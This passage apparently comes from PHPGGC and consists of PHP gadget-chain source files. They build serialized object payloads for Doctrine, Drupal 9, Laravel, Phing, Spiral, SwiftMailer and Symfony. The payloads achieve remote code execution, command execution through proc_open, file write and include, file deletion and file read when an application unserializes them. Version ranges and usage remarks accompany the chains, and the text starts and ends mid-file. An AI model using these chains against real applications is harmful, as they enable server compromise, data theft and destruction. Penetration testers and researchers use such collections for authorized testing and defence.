35 | $this->default = $param; | |
36 | } | |
37 | } | |
38 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Doctrine; | |
3 | ||
4 | use Doctrine\Common\Cache\Psr6\CacheAdapter; | |
5 | use Doctrine\Common\Cache\Psr6\TypedCacheItem; | |
6 | use Doctrine\Common\Cache\Psr6\CacheItem; | |
7 | use Symfony\Component\Cache\Adapter\PhpArrayAdapter; | |
8 | use Symfony\Component\Cache\Adapter\ProxyAdapter; | |
9 | use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage; | |
10 | use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag; | |
11 | ||
12 | ||
13 | class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode | |
14 | { | |
15 | public static $version = '1.5.1 <= 2.7.2'; | |
16 | public static $vector = '__destruct'; | |
17 | public static $author = 'Remsio'; | |
18 | public static $information = | |
19 | 'Based on package doctrine/doctrine-bundle, the Symfony bundle for doctrine. | |
20 | The chain is based on one chain to write, and on another one to include. | |
21 | Be careful, the POP chain differs depending on the PHP version'; | |
22 | ||
23 | /** | |
24 | * Fast destruct implementation for both chains, mandatory to make sure the payload triggers correctly | |
25 | */ | |
26 | public function process_serialized($serialized) | |
27 | { | |
28 | ||
29 | $find_write = ( | |
30 | '#i:(' . | |
31 | 1001 . '|' . | |
32 | (1001 + 1) . | |
33 | ');#' | |
34 | ); | |
35 | $replace_write = 'i:' . 1000 . ';'; | |
36 | $serialized2 = preg_replace($find_write, $replace_write, $serialized); | |
37 | $find_include = ( | |
38 | '#i:(' . | |
39 | 2001 . '|' . | |
40 | (2001 + 1) . | |
41 | ');#' | |
42 | ); | |
43 | $replace_include = 'i:' . 2000 . ';'; | |
44 | return preg_replace($find_include, $replace_include, $serialized2); | |
45 | } | |
46 | ||
47 | public function generate(array $parameters) | |
48 | { | |
49 | $code = $parameters['code']; | |
50 | /* CacheItem is compatible with PHP 7.*, TypedCacheItem is compatible with PHP 8.* */ | |
51 | if (preg_match('/^7/', phpversion())) | |
52 | { | |
53 | $firstCacheItem = new CacheItem(); | |
54 | $secondCacheItem = new CacheItem(); | |
55 | } | |
56 | else | |
57 | { | |
58 | $firstCacheItem = new TypedCacheItem(); | |
59 | $secondCacheItem = new TypedCacheItem(); | |
60 | } | |
61 | echo phpversion(); | |
62 | ||
63 | /* File write */ | |
64 | $obj_write = new CacheAdapter(); | |
65 | $mockFileSessionStorage = new MockFileSessionStorage(); | |
66 | $mockFileSessionStorage->data = ['<?php '. $code. ' ?>']; // Content put in the file | |
67 | $mockFileSessionStorage->metadataBag = new MetadataBag(); | |
68 | $obj_write->cache = $mockFileSessionStorage; | |
69 | $obj_write->deferredItems = [$firstCacheItem]; | |
70 | ||
71 | /* File inclusion */ | |
72 | $obj_include = new CacheAdapter(); | |
73 | $proxyAdapter = new ProxyAdapter(); | |
74 | $proxyAdapter->pool = new PhpArrayAdapter(); | |
75 | $obj_include->cache = $proxyAdapter; | |
76 | $cacheItem = $secondCacheItem; | |
77 | $cacheItem->expiry = 0; // mandatory to go to another branch from CacheAdapter __destruct | |
78 | $obj_include->deferredItems = [$cacheItem]; | |
79 | $obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1]; | |
80 | return $obj; | |
81 | } | |
82 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Doctrine\Common\Cache\Psr6 | |
3 | { | |
4 | class CacheAdapter | |
5 | { | |
6 | public $deferredItems = true; | |
7 | public $loader = 1; | |
8 | } | |
9 | ||
10 | class TypedCacheItem | |
11 | { | |
12 | public $expiry = 99999999999999999; | |
13 | public $value = "test"; | |
14 | } | |
15 | ||
16 | class CacheItem | |
17 | { | |
18 | public $expiry = 99999999999999999; | |
19 | public $value = "test"; | |
20 | } | |
21 | ||
22 | } | |
23 | ||
24 | namespace Symfony\Component\Cache\Adapter | |
25 | { | |
26 | class PhpArrayAdapter | |
27 | { | |
28 | public $file = "/tmp/aaa.mocksess"; // fixed at the time | |
29 | } | |
30 | ||
31 | class ProxyAdapter | |
32 | { | |
33 | } | |
34 | } | |
35 | ||
36 | ||
37 | namespace Symfony\Component\HttpFoundation\Session\Storage | |
38 | { | |
39 | class MockFileSessionStorage | |
40 | { | |
41 | public $started = true; | |
42 | public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess | |
43 | public $id = "aaa"; | |
44 | } | |
45 | ||
46 | class MetadataBag | |
47 | { | |
48 | public $storageKey = "a"; | |
49 | } | |
50 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Doctrine; | |
3 | ||
4 | use Doctrine\Common\Cache\Psr6\CacheAdapter; | |
5 | use Symfony\Component\Cache\Traits\RedisProxy; | |
6 | use Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager; | |
7 | ||
8 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
9 | { | |
10 | public static $version = '1.11.0 <= 2.3.2'; | |
11 | public static $vector = '__destruct'; | |
12 | public static $author = 'Remsio'; | |
13 | public static $information = | |
14 | 'Based on package doctrine/doctrine-bundle, the Symfony bundle for | |
15 | doctrine. This chain exploits : $schemaAssetFilter($assetName) from | |
16 | SchemaAssetsFilterManager __invoke function.'; | |
17 | ||
18 | public function generate(array $parameters) | |
19 | { | |
20 | $function = $parameters['function']; | |
21 | $parameter = $parameters['parameter']; | |
22 | $obj = new CacheAdapter(); | |
23 | $obj->loader = 1; | |
24 | $redisProxy = new RedisProxy($parameter); | |
25 | $redisProxy->initializer = new SchemaAssetsFilterManager($function); | |
26 | $obj->deferredItems = [$redisProxy]; | |
27 | return $obj; | |
28 | } | |
29 | } |
0 | <?php | |
1 | ||
2 | namespace Doctrine\Common\Cache\Psr6 | |
3 | { | |
4 | ||
5 | class CacheAdapter | |
6 | { | |
7 | public $deferredItems = true; | |
8 | } | |
9 | ||
10 | } | |
11 | ||
12 | namespace Symfony\Component\Cache\Traits | |
13 | { | |
14 | class RedisProxy | |
15 | { | |
16 | public $redis; | |
17 | ||
18 | public function __construct ($parameter) | |
19 | { | |
20 | $this->redis = $parameter; | |
21 | } | |
22 | ||
23 | } | |
24 | } | |
25 | ||
26 | namespace Doctrine\Bundle\DoctrineBundle\Dbal | |
27 | { | |
28 | class SchemaAssetsFilterManager | |
29 | { | |
30 | public $schemaAssetFilters; | |
31 | public function __construct ($function) | |
32 | { | |
33 | $this->schemaAssetFilters = [$function]; | |
34 | } | |
35 | } | |
36 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Drupal9; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '-8.9.6 <= 9.4.9+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'rioru'; | |
9 | public static $information = | |
10 | 'Guzzle and Laminas are required for this chain but are bundled by default in Drupal. | |
11 | Uses a __destruct() to call __toString() and finally lands in a call_user_func_array after a few call jumps. | |
12 | Tested on drupal versions from 8.9.6 up to 9.4.9 (latest), might work on slightly older versions.'; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | $function = $parameters['function']; | |
17 | $parameter = $parameters['parameter']; | |
18 | return ( | |
19 | new \GuzzleHttp\Cookie\FileCookieJar( | |
20 | new \Laminas\Diactoros\RelativeStream( | |
21 | new \GuzzleHttp\Psr7\PumpStream( | |
22 | new \Drupal\Core\Config\CachedStorage( | |
23 | new \Drupal\Core\Config\MemoryStorage(), | |
24 | new \Drupal\Component\DependencyInjection\Container( | |
25 | ["1000000"=>serialize(["factory"=>$function, "arguments"=>[$parameter]])] | |
26 | ) | |
27 | ) | |
28 | ) | |
29 | ) | |
30 | ) | |
31 | ); | |
32 | } | |
33 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GuzzleHttp\Cookie | |
3 | { | |
4 | class FileCookieJar | |
5 | { | |
6 | private $filename; | |
7 | public function __construct($filename) | |
8 | { | |
9 | $this->filename = $filename; | |
10 | } | |
11 | /* | |
12 | public function __destruct() | |
13 | { | |
14 | $this->save($this->filename); | |
15 | } | |
16 | ||
17 | public function save($filename) | |
18 | { | |
19 | $json = []; | |
20 | foreach ($this as $cookie) { | |
21 | if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { | |
22 | $json[] = $cookie->toArray(); | |
23 | } | |
24 | } | |
25 | ||
26 | $jsonStr = \GuzzleHttp\json_encode($json); | |
27 | if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) { | |
28 | throw new \RuntimeException("Unable to save file {$filename}"); | |
29 | } | |
30 | } | |
31 | */ | |
32 | } | |
33 | } | |
34 | ||
35 | namespace Laminas\Diactoros | |
36 | { | |
37 | class RelativeStream | |
38 | { | |
39 | private $decoratedStream; | |
40 | ||
41 | public function __construct($decoratedStream) | |
42 | { | |
43 | $this->decoratedStream = $decoratedStream; | |
44 | } | |
45 | ||
46 | /* | |
47 | public function __toString() : string | |
48 | { | |
49 | if ($this->isSeekable()) { | |
50 | $this->seek(0); | |
51 | } | |
52 | return $this->getContents(); | |
53 | } | |
54 | ||
55 | public function getContents() : string | |
56 | { | |
57 | if ($this->tell() < 0) { | |
58 | throw new Exception\InvalidStreamPointerPositionException(); | |
59 | } | |
60 | return $this->decoratedStream->getContents(); | |
61 | } | |
62 | */ | |
63 | } | |
64 | } | |
65 | ||
66 | namespace GuzzleHttp\Psr7 | |
67 | { | |
68 | class PumpStream | |
69 | { | |
70 | private $source; | |
71 | private $buffer; | |
72 | ||
73 | public function __construct($buffer) | |
74 | { | |
75 | $this->source = "1"; | |
76 | $this->buffer = $buffer; | |
77 | } | |
78 | /* | |
79 | public function isSeekable() | |
80 | { | |
81 | return false; | |
82 | } | |
83 | ||
84 | public function getContents() | |
85 | { | |
86 | $result = ''; | |
87 | while (!$this->eof()) { | |
88 | $result .= $this->read(1000000); | |
89 | } | |
90 | ||
91 | return $result; | |
92 | } | |
93 | ||
94 | public function eof() | |
95 | { | |
96 | return !$this->source; | |
97 | } | |
98 | ||
99 | public function read($length) | |
100 | { | |
101 | $data = $this->buffer->read($length); | |
102 | $readLen = strlen($data); | |
103 | $this->tellPos += $readLen; | |
104 | $remaining = $length - $readLen; | |
105 | ||
106 | if ($remaining) { | |
107 | $this->pump($remaining); | |
108 | $data .= $this->buffer->read($remaining); | |
109 | $this->tellPos += strlen($data) - $readLen; | |
110 | } | |
111 | ||
112 | return $data; | |
113 | } | |
114 | */ | |
115 | } | |
116 | } | |
117 | ||
118 | namespace Drupal\Core\Config | |
119 | { | |
120 | class CachedStorage | |
121 | { | |
122 | protected $storage; | |
123 | protected $cache; | |
124 | ||
125 | public function __construct($storage, $cache) { | |
126 | $this->storage = $storage; | |
127 | $this->cache = $cache; | |
128 | } | |
129 | /* | |
130 | public function read($name) { | |
131 | $cache_key = $this->getCacheKey($name); | |
132 | if ($cache = $this->cache->get($cache_key)) { | |
133 | // The cache contains either the cached configuration data or FALSE | |
134 | // if the configuration file does not exist. | |
135 | return $cache->data; | |
136 | } | |
137 | // Read from the storage on a cache miss and cache the data. Also cache | |
138 | // information about missing configuration objects. | |
139 | $data = $this->storage->read($name); | |
140 | $this->cache->set($cache_key, $data); | |
141 | return $data; | |
142 | } | |
143 | ||
144 | protected function getCacheKey($name) { | |
145 | return $this->getCollectionPrefix() . $name; | |
146 | } | |
147 | ||
148 | protected function getCollectionPrefix() { | |
149 | $collection = $this->storage->getCollectionName(); | |
150 | if ($collection == StorageInterface::DEFAULT_COLLECTION) { | |
151 | return ''; | |
152 | } | |
153 | return $collection . ':'; | |
154 | } | |
155 | */ | |
156 | } | |
157 | ||
158 | class MemoryStorage | |
159 | { | |
160 | protected $collection; | |
161 | ||
162 | public function __construct() | |
163 | { | |
164 | $this->collection = ""; | |
165 | } | |
166 | /* | |
167 | public function getCollectionName() { | |
168 | return $this->collection; | |
169 | } | |
170 | */ | |
171 | } | |
172 | } | |
173 | ||
174 | namespace Drupal\Component\DependencyInjection | |
175 | { | |
176 | class Container | |
177 | { | |
178 | protected $serviceDefinitions; | |
179 | ||
180 | public function __construct($serviceDefinitions) { | |
181 | $this->serviceDefinitions = $serviceDefinitions; | |
182 | } | |
183 | ||
184 | /* | |
185 | public function get($id, $invalid_behavior = ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) { | |
186 | if ($this->hasParameter('_deprecated_service_list')) { | |
187 | if ($deprecation = $this->getParameter('_deprecated_service_list')[$id] ?? '') { | |
188 | @trigger_error($deprecation, E_USER_DEPRECATED); | |
189 | } | |
190 | } | |
191 | if (isset($this->aliases[$id])) { | |
192 | $id = $this->aliases[$id]; | |
193 | } | |
194 | ||
195 | // Re-use shared service instance if it exists. | |
196 | if (isset($this->services[$id]) || ($invalid_behavior === ContainerInterface::NULL_ON_INVALID_REFERENCE && array_key_exists($id, $this->services))) { | |
197 | return $this->services[$id]; | |
198 | } | |
199 | ||
200 | if (isset($this->loading[$id])) { | |
201 | throw new ServiceCircularReferenceException($id, array_keys($this->loading)); | |
202 | } | |
203 | ||
204 | $definition = $this->serviceDefinitions[$id] ?? NULL; | |
205 | ||
206 | if (!$definition && $invalid_behavior === ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) { | |
207 | if (!$id) { | |
208 | throw new ServiceNotFoundException(''); | |
209 | } | |
210 | ||
211 | throw new ServiceNotFoundException($id, NULL, NULL, $this->getServiceAlternatives($id)); | |
212 | } | |
213 | ||
214 | // In case something else than ContainerInterface::NULL_ON_INVALID_REFERENCE | |
215 | // is used, the actual wanted behavior is to re-try getting the service at a | |
216 | // later point. | |
217 | if (!$definition) { | |
218 | return; | |
219 | } | |
220 | ||
221 | // Definition is a keyed array, so [0] is only defined when it is a | |
222 | // serialized string. | |
223 | if (isset($definition[0])) { | |
224 | $definition = unserialize($definition); | |
225 | } | |
226 | ||
227 | // Now create the service. | |
228 | $this->loading[$id] = TRUE; | |
229 | ||
230 | try { | |
231 | $service = $this->createService($definition, $id); | |
232 | } | |
233 | catch (\Exception $e) { | |
234 | unset($this->loading[$id]); | |
235 | unset($this->services[$id]); | |
236 | ||
237 | if (ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE !== $invalid_behavior) { | |
238 | return; | |
239 | } | |
240 | ||
241 | throw $e; | |
242 | } | |
243 | ||
244 | unset($this->loading[$id]); | |
245 | ||
246 | return $service; | |
247 | } | |
248 | ||
249 | public function hasParameter($name) { | |
250 | return isset($this->parameters[$name]) || array_key_exists($name, $this->parameters); | |
251 | } | |
252 | ||
253 | protected function createService(array $definition, $id) { | |
254 | if (isset($definition['synthetic']) && $definition['synthetic'] === TRUE) { | |
255 | throw new RuntimeException(sprintf('You have requested a synthetic service ("%s"). The service container does not know how to construct this service. The service will need to be set before it is first used.', $id)); | |
256 | } | |
257 | ||
258 | $arguments = []; | |
259 | if (isset($definition['arguments'])) { | |
260 | $arguments = $definition['arguments']; | |
261 | ||
262 | if ($arguments instanceof \stdClass) { | |
263 | $arguments = $this->resolveServicesAndParameters($arguments); | |
264 | } | |
265 | } | |
266 | ||
267 | if (isset($definition['file'])) { | |
268 | $file = $this->frozen ? $definition['file'] : current($this->resolveServicesAndParameters([$definition['file']])); | |
269 | require_once $file; | |
270 | } | |
271 | ||
272 | if (isset($definition['factory'])) { | |
273 | $factory = $definition['factory']; | |
274 | if (is_array($factory)) { | |
275 | $factory = $this->resolveServicesAndParameters([$factory[0], $factory[1]]); | |
276 | } | |
277 | elseif (!is_string($factory)) { | |
278 | throw new RuntimeException(sprintf('Cannot create service "%s" because of invalid factory', $id)); | |
279 | } | |
280 | ||
281 | $service = call_user_func_array($factory, $arguments); | |
282 | } | |
283 | else { | |
284 | $class = $this->frozen ? $definition['class'] : current($this->resolveServicesAndParameters([$definition['class']])); | |
285 | $service = new $class(...$arguments); | |
286 | } | |
287 | ||
288 | if (!isset($definition['shared']) || $definition['shared'] !== FALSE) { | |
289 | $this->services[$id] = $service; | |
290 | } | |
291 | ||
292 | if (isset($definition['calls'])) { | |
293 | foreach ($definition['calls'] as $call) { | |
294 | $method = $call[0]; | |
295 | $arguments = []; | |
296 | if (!empty($call[1])) { | |
297 | $arguments = $call[1]; | |
298 | if ($arguments instanceof \stdClass) { | |
299 | $arguments = $this->resolveServicesAndParameters($arguments); | |
300 | } | |
301 | } | |
302 | call_user_func_array([$service, $method], $arguments); | |
303 | } | |
304 | } | |
305 | ||
306 | if (isset($definition['properties'])) { | |
307 | if ($definition['properties'] instanceof \stdClass) { | |
308 | $definition['properties'] = $this->resolveServicesAndParameters($definition['properties']); | |
309 | } | |
310 | foreach ($definition['properties'] as $key => $value) { | |
311 | $service->{$key} = $value; | |
312 | } | |
313 | } | |
314 | ||
315 | if (isset($definition['configurator'])) { | |
316 | $callable = $definition['configurator']; | |
317 | if (is_array($callable)) { | |
318 | $callable = $this->resolveServicesAndParameters($callable); | |
319 | } | |
320 | ||
321 | if (!is_callable($callable)) { | |
322 | throw new InvalidArgumentException(sprintf('The configurator for class "%s" is not a callable.', get_class($service))); | |
323 | } | |
324 | ||
325 | call_user_func($callable, $service); | |
326 | } | |
327 | ||
328 | return $service; | |
329 | } | |
330 | */ | |
331 | } | |
332 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '5.8.35, 7.0.0, 9.3.10'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | public static $information = 'According to different version you may need to modify the "gadgets.php". For Laravel5, use the field $rollbarNotifier. For laravel7 and later, use the filed $rollbarLogger'; | |
10 | ||
11 | ||
12 | public function generate(array $parameters) | |
13 | { | |
14 | $function = $parameters['function']; | |
15 | $param = $parameters['parameter']; | |
16 | ||
17 | $a = new \Monolog\Handler\RollbarHandler($function, $param); | |
18 | ||
19 | return $a; | |
20 | } | |
21 | } |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler{ | |
3 | class RollbarHandler{ | |
4 | private $hasRecords; | |
5 | //protected $rollbarNotifier; | |
6 | protected $rollbarLogger; | |
7 | ||
8 | function __construct($function,$paramter) | |
9 | { | |
10 | $this->hasRecords = true; | |
11 | //$this->rollbarNotifier = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel5.8.35 | |
12 | $this->rollbarLogger = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel7.0.0 | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | namespace Illuminate\Foundation\Support\Providers{ | |
18 | class RouteServiceProvider{ | |
19 | protected $app; | |
20 | ||
21 | function __construct($function,$paramter) | |
22 | { | |
23 | $this->app = new \Illuminate\View\Factory($function,$paramter); | |
24 | } | |
25 | } | |
26 | } | |
27 | ||
28 | namespace Illuminate\View{ | |
29 | class Factory{ | |
30 | protected $finder; | |
31 | ||
32 | function __construct($function,$paramter) | |
33 | { | |
34 | $this->finder = new \Symfony\Component\Console\Application($function,$paramter); | |
35 | } | |
36 | ||
37 | } | |
38 | } | |
39 | ||
40 | namespace Symfony\Component\Console{ | |
41 | class Application{ | |
42 | private $initialized; | |
43 | private $commands; | |
44 | private $commandLoader; | |
45 | ||
46 | function __construct($function,$paramter) | |
47 | { | |
48 | $this->initialized = true; | |
49 | $this->commandLoader = new \Illuminate\Cache\Repository($function,$paramter); | |
50 | $this->commands = [new \Illuminate\Foundation\AliasLoader()]; | |
51 | } | |
52 | } | |
53 | } | |
54 | ||
55 | namespace Illuminate\Foundation{ | |
56 | class AliasLoader{ | |
57 | protected $aliases; | |
58 | ||
59 | function __construct() | |
60 | { | |
61 | $this->aliases = ["key"]; | |
62 | } | |
63 | } | |
64 | } | |
65 | ||
66 | namespace Illuminate\Cache{ | |
67 | class Repository{ | |
68 | protected $store; | |
69 | ||
70 | function __construct($function,$paramter) | |
71 | { | |
72 | $this->store = new \PhpOption\LazyOption($function,$paramter); | |
73 | } | |
74 | } | |
75 | } | |
76 | ||
77 | namespace PhpOption{ | |
78 | class LazyOption{ | |
79 | private $option; | |
80 | private $callback; | |
81 | private $arguments; | |
82 | ||
83 | function __construct($function,$paramter) | |
84 | { | |
85 | $this->callback = $function; | |
86 | $this->arguments = [$paramter]; | |
87 | } | |
88 | } | |
89 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Phing; | |
3 | ||
4 | class FD1 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '2.6.0 <= 3.0.0a3'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | return new \WikiPublishTask($parameters['remote_path']); | |
13 | } | |
14 | }⏎ |
0 | <?php | |
1 | class WikiPublishTask | |
2 | { | |
3 | private $cookiesFile; | |
4 | ||
5 | function __construct($path) | |
6 | { | |
7 | $this->cookiesFile = $path; | |
8 | } | |
9 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Spiral; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '2.7.0 <= 2.8.13'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Monolog\Handler\RotatingFileHandler($function,$parameter); | |
16 | } | |
17 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler | |
3 | { | |
4 | class RotatingFileHandler | |
5 | { | |
6 | protected $mustRotate; | |
7 | protected $filename; | |
8 | protected $filenameFormat; | |
9 | protected $dateFormat; | |
10 | ||
11 | function __construct($function,$param) | |
12 | { | |
13 | $this->dateFormat = "l"; | |
14 | $this->mustRotate = true; | |
15 | $this->filename = "anything"; | |
16 | $this->filenameFormat = new \Spiral\Reactor\FileDeclaration($function,$param); | |
17 | } | |
18 | } | |
19 | } | |
20 | ||
21 | namespace Spiral\Reactor | |
22 | { | |
23 | class FileDeclaration | |
24 | { | |
25 | private $docComment; | |
26 | ||
27 | public function __construct($function,$parameter) | |
28 | { | |
29 | $this->docComment = new \PhpOption\LazyOption($function,$parameter); | |
30 | } | |
31 | } | |
32 | } | |
33 | ||
34 | namespace PhpOption | |
35 | { | |
36 | class LazyOption | |
37 | { | |
38 | private $callback; | |
39 | private $arguments; | |
40 | ||
41 | public function __construct($function,$parameter) | |
42 | { | |
43 | $this->callback = $function; | |
44 | $this->arguments = [$parameter]; | |
45 | } | |
46 | } | |
47 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Spiral; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '-2.8+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | public static $information = 'execute the function and throw an error'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \App\App($function,$parameter); | |
17 | } | |
18 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace App | |
3 | { | |
4 | class App | |
5 | { | |
6 | protected $finalizer; | |
7 | ||
8 | function __construct($function,$param) | |
9 | { | |
10 | $this->finalizer = new \Spiral\Boot\Finalizer($function,$param); | |
11 | } | |
12 | } | |
13 | } | |
14 | ||
15 | namespace Spiral\Boot | |
16 | { | |
17 | class Finalizer | |
18 | { | |
19 | private $finalizers; | |
20 | ||
21 | function __construct($function,$param) | |
22 | { | |
23 | $this->finalizers = [[new \PhpOption\LazyOption($function,$param),"get"]]; | |
24 | } | |
25 | } | |
26 | } | |
27 | ||
28 | namespace PhpOption | |
29 | { | |
30 | class LazyOption | |
31 | { | |
32 | private $callback; | |
33 | private $arguments; | |
34 | ||
35 | public function __construct($function,$parameter) | |
36 | { | |
37 | $this->callback = $function; | |
38 | $this->arguments = [$parameter]; | |
39 | } | |
40 | } | |
41 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FD2 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '5.4.6 <= 5.x-dev'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | public static $information = 'the path should be in the form of "path/filename"'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | return new \Swift_Image($parameters['remote_path']); | |
14 | } | |
15 | } |
0 | <?php | |
1 | ||
2 | class Swift_Image | |
3 | { | |
4 | private $_cache; | |
5 | private $_cacheKey; | |
6 | ||
7 | public function __construct($path) | |
8 | { | |
9 | $path_a = explode("/", $path); | |
10 | $this->_cacheKey = $path_a[count($path_a) - 2]; | |
11 | $pre_index = strripos($path, "/"); | |
12 | $pre = substr($path, 0, $pre_index - strlen($this->_cacheKey) - 1); | |
13 | ||
14 | $this->_cache = new Swift_KeyCache_DiskKeyCache( | |
15 | $pre, $path_a[count($path_a) - 2], $path_a[count($path_a) - 1] | |
16 | ); | |
17 | } | |
18 | } | |
19 | ||
20 | class Swift_KeyCache_DiskKeyCache | |
21 | { | |
22 | private $_path; | |
23 | private $_keys; | |
24 | ||
25 | public function __construct($pre_path, $path, $filename) | |
26 | { | |
27 | $this->_path = $pre_path; | |
28 | $this->_keys = [$path => [$filename => '']]; | |
29 | } | |
30 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FR1 extends \PHPGGC\GadgetChain\FileRead | |
5 | { | |
6 | public static $version = '6.0.0 <= 6.3.0'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | return new \Swift_EmbeddedFile($parameters['remote_path']); | |
13 | } | |
14 | } |
0 | <?php | |
1 | ||
2 | class Swift_Mime_SimpleMimeEntity | |
3 | { | |
4 | private $headers; | |
5 | private $body; | |
6 | private $cache; | |
7 | private $encoder; | |
8 | private $maxLineLength; | |
9 | private $cacheKey; | |
10 | ||
11 | public function __construct($path) | |
12 | { | |
13 | $this->headers = new Swift_Mime_Headers_OpenDKIMHeader(); | |
14 | $this->body = new Swift_ByteStream_FileByteStream($path); | |
15 | $this->cache = new Swift_KeyCache_ArrayKeyCache(); | |
16 | $this->encoder = new Swift_Mime_ContentEncoder_PlainContentEncoder(); | |
17 | $this->cacheKey = "anykey"; | |
18 | $this->maxLineLength = 100; | |
19 | } | |
20 | } | |
21 | ||
22 | class Swift_EmbeddedFile extends Swift_Mime_SimpleMimeEntity | |
23 | { | |
24 | public function __construct($path) | |
25 | { | |
26 | parent::__construct($path); | |
27 | } | |
28 | } | |
29 | ||
30 | class Swift_Mime_Headers_OpenDKIMHeader | |
31 | { | |
32 | private $fieldName; | |
33 | ||
34 | function __construct() | |
35 | { | |
36 | $this->fieldName = "any"; | |
37 | } | |
38 | } | |
39 | ||
40 | class Swift_KeyCache_ArrayKeyCache | |
41 | { | |
42 | } | |
43 | ||
44 | class Swift_Mime_ContentEncoder_PlainContentEncoder | |
45 | { | |
46 | private $canonical = true; | |
47 | } | |
48 | ||
49 | class Swift_ByteStream_FileByteStream | |
50 | { | |
51 | private $path; | |
52 | ||
53 | function __construct($path) | |
54 | { | |
55 | $this->path = $path; | |
56 | } | |
57 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Symfony; | |
3 | ||
4 | class RCE6 extends \PHPGGC\GadgetChain\RCE\Command | |
5 | { | |
6 | public static $version = 'v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | public static $information = 'Executes given command through proc_open()'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $command = $parameters['command']; | |
14 | ||
15 | return new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator( | |
16 | $command | |
17 | ); | |
18 | } | |
19 | } |
0 | <?php | |
1 | namespace Symfony\Component\Routing\Loader\Configurator | |
2 | { | |
3 | class ImportConfigurator | |
4 | { | |
5 | private $parent; | |
6 | ||
7 | function __construct($cmd) | |
8 | { | |
9 | $this->parent = new \Symfony\Component\Cache\Traits\RedisProxy($cmd); | |
10 | } | |
11 | } | |
12 | } | |
13 | ||
14 | namespace Symfony\Component\Cache\Traits | |
15 | { | |
16 | class RedisProxy | |
17 | { | |
18 | private $initializer; | |
19 | private $redis; | |
20 | ||
21 | function __construct($cmd) | |
22 | { | |
23 | $this->initializer = new \Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator($cmd); | |
24 | $this->redis = $cmd; | |
25 | } | |
26 | } | |
27 | } | |
28 | ||
29 | namespace Symfony\Component\DependencyInjection\Loader\Configurator | |
30 | { | |
31 | class InstanceofConfigurator | |
32 | { | |
33 | protected $parent; | |
34 | ||
35 | function __construct($cmd) | |
36 | { | |
37 | $this->parent = new \Symfony\Component\Cache\Simple\Psr6Cache($cmd); | |
38 | } | |
39 | ||
40 | } | |
41 | } | |
42 | ||
43 | namespace Symfony\Component\Cache\Simple | |
44 | { | |
45 | class Psr6Cache | |
46 | { | |
47 | private $pool; | |
48 | ||
49 | function __construct($cmd) | |
50 | { | |
51 | $this->pool = new \Symfony\Component\Cache\Adapter\PhpArrayAdapter($cmd); | |
52 | } | |
53 | ||
54 | } | |
55 | } | |
56 | ||
57 | namespace Symfony\Component\Cache\Adapter | |
58 | { | |
